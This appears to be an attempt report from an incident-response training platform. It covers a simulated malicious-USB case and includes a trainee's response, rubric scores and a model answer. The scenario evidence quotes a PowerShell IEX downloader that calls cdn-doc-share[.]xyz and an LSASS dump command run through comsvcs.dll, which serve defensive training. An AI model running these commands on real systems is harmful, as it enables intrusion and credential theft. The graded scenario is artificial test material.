incident-response-trainer
Incident response training · Rule-based scoring
DemoCatalogDiagnosticHistoryDashboardCoach Notes
Attempt report

Receptionist plugged in USB labeled 'Q2 Bonus' — EDR flagged PowerShell launch

CybersecuritySuspicious USB DeviceDifficulty · Easy

Attempt 1 of 1 · cmrr8zyih00400kx9siibe1me

Progress vs previous attempt

This is your first attempt for this scenario. Retry the scenario to generate a side-by-side comparison against your previous response.

Progression · Keep practicing

Stay on Easy · Cybersecurity

3 signals are blocking advancement to Medium. Keep practicing at Easy until those areas stabilize. (Track: Cybersecurity)

Track · Cybersecurity
Easy
Sample · 5 recent attempts2 positive3 blocking

Signals helping

  • Dangerous action frequency. None in recent attempts
  • Rubric category coverage. 67% average (need ≥ 55%)

Signals blocking advancement

  • Recent average score. 65 / 100 (need ≥ 75)
  • Recent pass rate. 1 of 5 passed (need ≥ 66%)
  • Recent retry improvement trend. Score is regressing (-11.5 pts on later attempts)
Submission · what was sent and how you responded
Suspicious USB DeviceDifficulty · easyMedium asset
[EDR] Suspicious LNK + powershell.exe -enc on RECEPT-WS-01
From
EDR Alerts <edr-alerts@acme-corp.local>
To
soc@acme-corp.com
Date
2026-04-19 16:08 UTC
Automated alert from (rule USB-LNK-EXEC-02). Workstation RECEPT-WS-01 (reception desk, ground floor) executed a Windows shortcut (.lnk) from a removable USB drive at 16:03:17 UTC. The shortcut launched powershell.exe with an encoded command. Process tree: explorer.exe → powershell.exe -nop -w hidden -enc <base64> The reception staff member tells us she found a USB stick in the lobby labeled "Q2 Bonus — do not open" earlier today and plugged it in to "see who it belonged to." She has not used the workstation for any other task since. Please respond. — EDR / Endpoint Security
Evidence
EDR detection + USB enumeration (RECEPT-WS-01)
# Removable media event
Device:        USB Mass Storage  VID_0951&PID_1666 (Kingston)
Volume label:  Q2_BONUS
First seen:    2026-04-19 16:01:42 UTC on RECEPT-WS-01
Files:         Q2_Bonus_List.lnk, .hidden\stage1.ps1, README.txt

# LNK target (resolved)
target: %windir%\System32\WindowsPowerShell\v1.0\powershell.exe
args:   -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB...   (base64, decodes to IEX downloader)

# Decoded stage1 (preview)
$u = "https://cdn-doc-share[.]xyz/q2/s.ps1"
IEX (New-Object Net.WebClient).DownloadString($u)
# also attempts: rundll32 comsvcs.dll MiniDump <lsass pid> %TEMP%\l.dmp full

# Network activity from RECEPT-WS-01 (last 30 min)
16:03:18  TLS  RECEPT-WS-01 → cdn-doc-share[.]xyz:443
16:03:19  EDR blocked outbound to cdn-doc-share[.]xyz (low-rep, 8d-old domain)

# AV / VirusTotal lookup on stage1.ps1
SHA256 a14f..be07  →  41/72 (PowerShell.Downloader.*)
Affected asset
Name
RECEPT-WS-01
Type
Reception desk Windows workstation (shared, no privileged data stored locally)
Owner
Office Operations
Level
Medium
Your submitted response
1038 words
From: Incident Response Lead (SOC on-call)
To: IT Leadership · Endpoint Security · Office Operations · On-call SOC
Subject: [SEV-3][INC-CYB-USB01] Malicious USB launched encoded PowerShell on RECEPT-WS-01 — endpoint isolated

Incident: INC-CYB-USB01 · SEV-3 / P3
Status: Investigating — endpoint containment and forensic triage in progress
Classification: Cybersecurity · Malicious USB · PowerShell Downloader · Credential-Theft Attempt
Affected asset: `RECEPT-WS-01` · Medium criticality
Detected: 2026-04-19 16:08 UTC

SITUATION & SUMMARY

EDR detected malicious execution from a removable USB device on the reception workstation `RECEPT-WS-01`.

The USB device, labeled `Q2_BONUS`, contained a deceptive Windows shortcut named `Q2_Bonus_List.lnk` and a hidden PowerShell script at `.hidden\stage1.ps1`. At approximately 16:03 UTC, the shortcut launched `powershell.exe` with hidden-window and encoded-command options.

The decoded script attempted to download and execute an additional PowerShell payload from `cdn-doc-share[.]xyz`. It also attempted to create an LSASS memory dump using `rundll32 comsvcs.dll MiniDump`, indicating attempted credential theft.

EDR blocked outbound communication to the low-reputation domain. The stage-one script is detected by 41 of 72 antivirus engines as a PowerShell downloader. There is currently no confirmed evidence that the second-stage payload was successfully retrieved or that data was exfiltrated. However, local malicious execution occurred, so the endpoint must be treated as potentially compromised until forensic triage is complete.

SEVERITY & PRIORITY

The incident is rated SEV-3 / P3 because the affected workstation is a medium-criticality shared reception endpoint, outbound communication appears to have been blocked, and no successful second-stage execution or exfiltration has been confirmed.

Containment remains urgent because the script attempted to access LSASS credential material. Although privileged information is not intentionally stored on the workstation, cached credentials, browser sessions, authentication tokens, shared-account credentials, or previous administrative sessions may have been exposed.

IMMEDIATE CONTAINMENT

* Isolate `RECEPT-WS-01` from the network using EDR network containment.
* Instruct reception staff to stop using the workstation immediately.
* Secure the `Q2_BONUS` USB device as physical evidence.
* Do not connect the USB device to another workstation.
* Block `cdn-doc-share[.]xyz` at DNS, proxy, firewall, and EDR controls.
* Add the stage-one SHA256 `a14f..be07`, USB volume label, LNK filename, PowerShell command pattern, and domain to enterprise detection and hunting rules.
* Confirm whether EDR blocked only the outbound connection or also terminated the related PowerShell and `rundll32` processes.
* Provide Office Operations with a clean temporary workstation if reception services must continue.

ENDPOINT INVESTIGATION

* Preserve and review the complete EDR process tree beginning with `explorer.exe → powershell.exe`.
* Preserve and decode the complete Base64 PowerShell command.
* Determine whether the second-stage script was downloaded, partially downloaded, or executed before EDR containment.
* Determine whether the LSASS dump command succeeded.
* Search for `%TEMP%\l.dmp`, other memory dumps, and related file-creation events.
* Review PowerShell Operational logs, Windows Security logs, EDR telemetry, Prefetch, Amcache, and other available execution artifacts.
* Search for newly created scheduled tasks, services, registry autorun entries, WMI persistence, startup-folder items, or additional scripts.
* Review all outbound network activity from `RECEPT-WS-01` following USB insertion.
* Identify the user and any administrative accounts that logged into the workstation before or during the incident.

CREDENTIAL EXPOSURE REVIEW

* Determine whether an LSASS dump file was successfully created or accessed.
* Identify all users who logged into `RECEPT-WS-01` during the relevant credential-caching window.
* Review whether helpdesk or administrative personnel previously entered privileged credentials on the workstation.
* If credential access cannot be ruled out, reset affected passwords and revoke active sessions and refresh tokens.
* Rotate local administrator credentials if applicable.
* Prioritize any privileged or shared credentials identified during the review.

SCOPE AND THREAT HUNTING

* Search enterprise removable-media telemetry for USB `VID_0951&PID_1666`, volume label `Q2_BONUS`, and the same device identifiers.
* Search EDR for `Q2_Bonus_List.lnk`, `stage1.ps1`, and SHA256 `a14f..be07`.
* Search for PowerShell executions containing `-nop`, `-w hidden`, and `-enc`.
* Search DNS, proxy, firewall, and EDR telemetry for connections to `cdn-doc-share[.]xyz`.
* Determine whether the same USB device was connected to any other corporate endpoint.
* Ask Facilities and Office Operations to search public areas for similar USB devices.
* Review lobby CCTV, if available, to determine who placed or abandoned the USB device.

EVIDENCE PRESERVATION

* Photograph the USB device, its label, and where it was found.
* Record who discovered, handled, inserted, and subsequently secured the USB device.
* Store the USB device in an approved evidence bag or controlled evidence location.
* Preserve the LNK file, PowerShell script, README file, hashes, and metadata in the approved malware evidence repository.
* Preserve EDR alerts, process telemetry, command lines, remediation records, and network events.
* Preserve relevant Windows and PowerShell logs.
* Perform an approved forensic collection before reimaging if required by incident-response policy.

RECOVERY & NEXT STEPS

* Complete forensic triage before returning `RECEPT-WS-01` to service.
* Reimage or rebuild the workstation if malicious execution is confirmed or endpoint integrity cannot be established.
* Reset credentials and revoke sessions if LSASS access succeeded or credential exposure cannot be ruled out.
* Confirm the rebuilt endpoint is fully patched, enrolled in EDR, and operating normally before reconnecting it.
* Restrict or block execution from removable media on public-facing workstations.
* Review USB storage controls and device-control policy for reception and other shared endpoints.
* Provide targeted awareness guidance instructing employees to deliver found removable media to IT or Security without connecting it.

STAKEHOLDER COMMUNICATION

* Notify Office Operations that the reception workstation has been isolated and may require replacement.
* Notify Endpoint Security to begin forensic triage and environment-wide hunting.
* Notify Facilities and physical security to search for other suspicious USB devices and preserve relevant CCTV footage.
* Notify Identity administrators if credential reset or session revocation becomes necessary.

DO NOT

* Do not plug the USB device into another corporate workstation.
* Do not allow continued use of `RECEPT-WS-01` while triage is in progress.
* Do not assume the endpoint is safe merely because the outbound request was blocked.
* Do not delete the malicious files and close the incident without determining what executed locally.
* Do not reboot, wipe, or reimage the workstation before required evidence is preserved.
* Do not email or upload the malware samples through unapproved channels.
* Do not treat user awareness training as a substitute for technical containment and investigation.
Final score
60/ 100
1038 words submitted
Verdict · Borderline

Reasonable start, but the response misses important incident response steps. Score: 60/100. Strongest area: Clarity & structure (100%). Weakest area: (20%) — expand this next time.

Category breakdown

Where points came from

coverage × weight = points
  • Attack understanding3/4 · 11.3 / 15
  • Asset impact2/3 · 6.7 / 10
  • Prioritization1/2 · 5.0 / 10
  • 1/5 · 4.0 / 20
  • Investigation3/5 · 9.0 / 15
  • Recovery2/3 · 6.7 / 10
  • Evidence preservation3/4 · 7.5 / 10
  • Clarity & structure2/2 · 10.0 / 10

Strengths

  • Attack understanding
  • Evidence preservation
  • Clarity & structure

Missing / weak

Dangerous actions detected

None detected in your response.

Learning · Coaching

Learn from this attempt

Post-submission coaching for this scenario. Score and verdict are unchanged — these notes are for your next attempt.

Why points were deducted

  • Containment20% coverage

    Isolate the host, block cdn-doc-share[.]xyz at , kill the process chain, and physically secure the USB; partial leaves either domain or network exposure open.

  • Prioritization50% coverage

    Declare a P1 confirmed-execution incident even though blocked ; the downloader still ran locally.

  • Investigation60% coverage

    Image the USB before touching it, decode the -enc payload, check whether the LSASS minidump file landed, and hunt the fleet for the same .

Model answer outline

From: Incident Response Lead (SOC on-call)To: IT Leadership · Affected Asset Owner · On-call SOCSubject: [SEV-3][INC-CYB-EA84C] Receptionist plugged in USB labeled 'Q2 Bonus' — EDR flagged PowerShell launch — status update
Incident · INC-CYB-EA84C · SEV-3 / P3Status · Investigating — containment in progressCybersecurity · Suspicious USB Device · EasyRECEPT-WS-01 · Medium criticalityDetected ~ 2026-04-19 16:08 UTC
Situation & summary

An attacker dropped a USB labeled `Q2 Bonus — do not open` in the lobby; reception plugged it into RECEPT-WS-01 to find the owner. The .lnk launched `powershell.exe -nop -w hidden -enc` (decoded: `IEX (New-Object Net.WebClient).DownloadString` from cdn-doc-share[.]xyz, plus a `comsvcs.dll MiniDump` LSASS attempt). EDR blocked the outbound but the downloader stage executed locally — treat the host as compromised.

Severity & priority

Rated SEV-3 / P3. Treat as a P1 confirmed-execution incident (powershell.exe -enc actually ran), not a curiosity ticket.

Prioritization & impact
  • Treat as a P1 confirmed-execution incident (powershell.exe -enc actually ran), not a curiosity ticket.
  • Reception is a shared workstation in the public lobby — assume blast radius beyond the receptionist's own session.
  • Loop in EDR / Endpoint Security and the SOC lead before any user-facing cleanup begins.
Containment (actions taken / in progress)
  • Network-isolate RECEPT-WS-01 via EDR (or pull the cable) so any retried egress fails closed.
  • Block cdn-doc-share[.]xyz and the resolved IP at proxy / DNS / firewall before unisolating any other host.
  • Disable the local user account (cached creds may already be compromised), kill the powershell / rundll32 chain, and unplug + bag the USB.
Investigation (in progress)
  • Image the USB (Q2_BONUS volume) and decode all three files (.lnk, .hidden\stage1.ps1, README.txt) before anyone touches the drive again.
  • Pull EDR process tree, PowerShell Operational / 4104 / 4688 events, and the full base64 -enc payload for the SOC record.
  • Check whether the LSASS minidump (`comsvcs.dll MiniDump`) actually wrote `%TEMP%\l.dmp` — if so, treat domain-cached credentials as exposed.
  • Hunt across the fleet: the same USB VID/PID, the same SHA256, or any traffic to cdn-doc-share[.]xyz.
Recovery & next steps
  • Reimage RECEPT-WS-01 from a clean image — do not just `clean` the executed downloader.
  • Reset the receptionist's password and any cached domain account that was active on the host.
  • Tighten device-control policy (Intune / GPO) so removable storage is read-only or blocked at user-edge endpoints by default.
Evidence preservation
  • Bag-and-tag the USB stick (physical evidence, intact) and capture the full forensic image plus SHA256 of every artifact.
  • Snapshot RAM / volatile state on RECEPT-WS-01 before reimage; preserve EDR telemetry and PowerShell transcripts.
  • Record VirusTotal lookups (41/72 on stage1.ps1), and keep the original lobby USB photograph + label as part of the case file.
Stakeholder communication
  • Brief the receptionist factually and reassuringly — she did the right thing by reporting; the goal is not blame.
  • Notify Office Operations and the building security team (a physical adversary may have walked the lobby).
  • Send a short org-wide note re-iterating the `do not plug in unknown USB` policy without naming the user.
Do NOT
  • Do not plug the USB into another machine to `see what it does`.
  • Do not format / wipe the USB before imaging — you destroy evidence.
  • Do not delete the dropped binary or the .ps1 from the workstation before hashing and capturing it.
  • Do not just reimage and move on without checking whether the LSASS minidump succeeded.

Dangerous actions to avoid

  • Do not plug the USB into another machine to `see what it does`.
  • Do not format / wipe the USB before imaging — you destroy evidence.
  • Do not delete the dropped binary or the .ps1 from the workstation before hashing and capturing it.
  • Do not just reimage and move on without checking whether the LSASS minidump succeeded.

How to improve next time

  • blocking the network call does not mean the host is clean — assume the local process executed and search for what it did before the block fired.
  • Always image the USB before plugging it in elsewhere; no `let me just try it on a sandbox laptop` shortcuts.
  • Decode the base64 -enc payload — never reason from `it was hidden so probably bad`; show the receiver the actual IEX downloader and the LSASS minidump call.
  • If the chain attempted LSASS dumping, treat any cached domain credentials on the host as exposed and rotate accordingly.
  • Tie the fix back to device-control policy: a single user-edge GPO / Intune change can convert this from a recurring lobby attack into a non-event.
AI · Supplemental review

Request an AI review of this attempt

This AI review is supplemental coaching. It does not change your official score or verdict. The review is only kept for this page session and is not saved permanently.

Review language
AI Tutor · Explains your result

AI Tutor

This tutor explains your result. It does not change your score. Pick a question to see how the deterministic grading reached your verdict and where to focus next.

Generated deterministically from your graded result — no AI model was called.

Why did I get this score?

Your verdict was Borderline at 60/100. That total is the sum of deterministic rubric points across 8 categories — each scores how much of its expected, ordered steps your answer covered, not an opinion about your writing. Your strongest coverage was Clarity & structure (100%). Points were held back mostly in Containment (20%), Prioritization (50%), Investigation (60%).

Rubric focuscontainmentprioritizationinvestigation
Next study step

Re-read the containment expectations for this scenario and list the concrete steps you missed.

This tutor explains your existing result. It does not change your score, verdict, or grade. Generated deterministically from your graded result — no AI model was called.

What should I improve first?

Focus on Containment first — it is your weakest rubric area at 20% coverage and carries weight 20. For this scenario: Isolate the host, block cdn-doc-share[.]xyz at egress, kill the process chain, and physically secure the USB; partial containment leaves either domain or network exposure open.

Rubric focuscontainment
Next study step

Rewrite your containment section as a short numbered checklist before your next attempt.

This tutor explains your existing result. It does not change your score, verdict, or grade. Generated deterministically from your graded result — no AI model was called.

How does my answer compare to the model answer outline?

Compared with the model answer outline, the most useful sections to study are the ones matching your weak areas. Re-read the outline's containment, prioritization, investigation guidance and check which listed points you did not cover. The outline is a high-level checklist of expected points — use it to find gaps, not to copy a finished answer.

Rubric focuscontainmentprioritizationinvestigation
Next study step

Pick one model-answer section you missed and add its key points to your next response in your own words.

This tutor explains your existing result. It does not change your score, verdict, or grade. Generated deterministically from your graded result — no AI model was called.

Which rubric area mattered most here?

Containment mattered most here: it carries the highest rubric weight (20), so coverage there moves your score the most. You covered 20% of it this time, worth 4 points.

Rubric focuscontainment
Next study step

Prioritise the highest-weight categories first; make sure containment is fully addressed before lower-weight ones.

This tutor explains your existing result. It does not change your score, verdict, or grade. Generated deterministically from your graded result — no AI model was called.

What should I study next?

Based on this attempt, study containment, prioritization, investigation next. Coaching tip for this scenario: EDR blocking the network call does not mean the host is clean — assume the local process executed and search for what it did before the block fired.

Rubric focuscontainmentprioritizationinvestigation
Next study step

EDR blocking the network call does not mean the host is clean — assume the local process executed and search for what it did before the block fired.

This tutor explains your existing result. It does not change your score, verdict, or grade. Generated deterministically from your graded result — no AI model was called.

Save study notes for this attempt. They also collect in your mistake notebook.

Loading notes…